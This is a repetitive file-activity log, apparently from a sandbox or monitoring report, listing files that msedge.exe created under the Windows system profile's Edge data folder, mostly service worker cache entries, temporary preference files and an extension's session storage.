Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b5b383720128fe63_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ec37128008082892_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ec37128008082892_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ee51d1c28e826730_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ee51d1c28e826730_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\218e3edb66f90ca2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\218e3edb66f90ca2_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f0f172b013abb176_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f0f172b013abb176_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\6389b23f4bc62c06_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\6389b23f4bc62c06_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\23a857e3f0a12e9b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\23a857e3f0a12e9b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\819f3848762bde15_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\819f3848762bde15_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\773ec66002a68baf_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\773ec66002a68baf_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\3d49f14d5d581ae5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\3d49f14d5d581ae5_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4c7155fdcb357b2c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4c7155fdcb357b2c_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b421414fd4b6fbd6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b421414fd4b6fbd6_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ce9a2becd154cc0b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ce9a2becd154cc0b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0e1587ceb49a87ad_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0e1587ceb49a87ad_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4086ead4c1270361_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4086ead4c1270361_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\41ac4588896d4c6f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\41ac4588896d4c6f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\a0aa60a133aba17b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\a0aa60a133aba17b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2733b1fa30133dc5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2733b1fa30133dc5_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f21968efea74be77_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f21968efea74be77_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\d2f54c0a03740b6b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\d2f54c0a03740b6b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\7defdd08c54c2768_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\7defdd08c54c2768_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\889f2fc77179125a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\889f2fc77179125a_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\9ec758fd90d44623_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\9ec758fd90d44623_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f0ce427b28da7d25_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\34d467f947acad13_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\872b7b4f8bfb485b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\16fc15c7-5f50-401d-b907-22f4e80ce6af.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Local State~RF60aff.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f7a02825bf690a95_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\ed437f70-865b-45c9-9f8e-2be79bcd4f25.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF60d9f.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\d6c0abb3-e1ae-49e5-a323-fe466bff5f5a.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF60ded.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\65f701fc2d3b6d77_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\960aaafa77fbb8a0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b849a2f19789767a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\67f1189172319be9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\e6504c209cb882d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\df9f3044c9ae2e2e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\3055e34b33d94a7f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ea6f02895a4e3500_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\7c4863577c43b32f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\574b540795aeca12_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\9edf5f432f2b01a8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2a15b98971354678_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0a67355f432340b9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b9dcc9f4c807eeaa_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\321e64ecacb66619_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\153bba9a429a2c40_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2e08a9c6ec333021_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\39c763e560200cda_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\6dcb70bdb8fe40a3_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\7ed93a10144ac834_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\264b46d61d915def_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b7cd751a99c70c48_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\13e83bd1c1ab1541_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\8fdcb7992c9e741c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ff5222d57552b6c1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b87cf2f2b0511c4c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\dd1d9f7425e5aefb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\348aae4f13c8f553_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\8cce886514f2b2ec_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\217bbc87393d2e57_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\8bfc77f05f6a3cc5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2a99e21c738e2a0b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\d6af3918ca46ca94_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\85f220494be669b7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2bb582fd7577f97e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\9f97c8dd99a7773d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ed344a77138c223d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000001.dbtmp
